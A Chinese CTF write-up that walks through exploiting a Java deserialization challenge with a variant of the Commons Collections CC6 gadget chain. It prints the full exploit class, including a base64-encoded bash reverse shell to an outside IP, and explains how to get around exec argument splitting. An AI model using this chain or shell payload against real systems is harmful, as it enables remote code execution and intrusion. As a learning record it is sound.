这两天萌新赛做了一道 java 的 CC 链变种 作为遇见的第一 or 二道 java 题 踩了好多坑 写下来备用
审一下题目的 jar 包 有一个反序列化点 还有一个 transformer 类的子类 应该是仿的 invoketransformer 这个类,cc 链的基础原理就是利用反序列化调用 invoketransformer,通过反射拿到 runtime 类实现 rce
题目给了提示是打 cc6 这条链,是修改的 cc1 在高 java 版本无法使用的替代品
cc 链可以看这里
https://www.cnblogs.com/bitterz/p/15035581.html
对于 cc6 可以看看这个博客
https://www.yulate.com/348.html
对于传统的 cc6 来说 它的利用链是以下这样
java.io.ObjectInputStream.readObject();
java.util.HashSet.readObject();
java.util.HashMap.put();
java.util.HashMap.hash();
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode();
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue();
org.apache.commons.collections.map.LazyMap.get();
org.apache.commons.collections.functors.ChainedTransformer.transform();
org.apache.commons.collections.functors.InvokerTransformer.transform();
java.lang.reflect.Method.invoke();
java.lang.Runtime.exec();
反序列化一个 Hashset 对象,它在 wakeup 时会自动 readobject, 调用其中的 hashmap 的 hash 方法,内部实现是调用其内部对象的 hashcode 方法。在这一步计算 hash 就需要获取 value,由此触发了 lazymap 的 get 方法,Lazymap 调用 chainedtransformer 内部的 invoke,通过反射获取了 runtime 类实现了 rce
但是查看依赖版本 是 cc3.2.2 这个版本已经修了传统的 cc6 利用,是怎么修复的呢?
查一下这个版本的 changelog
是把几个危险的类 ban 掉 禁止序列化造成 RCE
用 jadx 反编译 jar 包看到源码,这里看到题目中给的 eval 类,是仿的 invoketransformer 类
又把 serializable 加了回来 是故意的 这样就能再利用这个类打 cc6 链
基于传统的 cc6 链 payload,抄 + 改了一份 exp
这里在配置环境踩了一堆坑 就不用写了 以后也都会了
public class cc {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new eval("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new eval("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new eval("exec", new Class[]{String.class}, new String[]{"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNTAuMTA5LjE1OC4yMjAvOTAwMSAwPiYx}|{base64,-d}|{bash,-i}"}),
new ConstantTransformer(1)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
Map hashMap = new HashMap();
Map decorate = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry key = new TiedMapEntry(decorate, "key");
HashSet hashSet = new HashSet(1);
hashSet.add(key);
decorate.remove("key");
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);
ByteArrayOutputStream buffer = new ByteArrayOutputStream();
ObjectOutputStream output = new ObjectOutputStream(buffer);
output.writeObject(hashSet);
//base64编码
String payload = Base64.getEncoder().encodeToString(buffer.toByteArray());
System.out.println(payload);
// decoserize decoserize = new decoserize();
// decoserize.decoserize(payload);
}
}
这里有两个大坑
1. 包名,一定要改的和源文件里的一模一样,要不然反序列化出来他不认的
2. 弹 shell 传统的简单弹法用不了 原理可以看
https://www.cnblogs.com/BOHB-yunying/p/15523680.html
要把经典的语句改成
bash -c {echo,base64过的弹shell语句}|{base64,-d}|{bash,-i}
除此以外就能正常打了 传 base64 记得 url 编码